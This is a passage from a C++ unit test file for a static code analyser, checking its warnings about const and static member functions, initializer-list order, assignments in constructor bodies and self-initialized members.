return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred 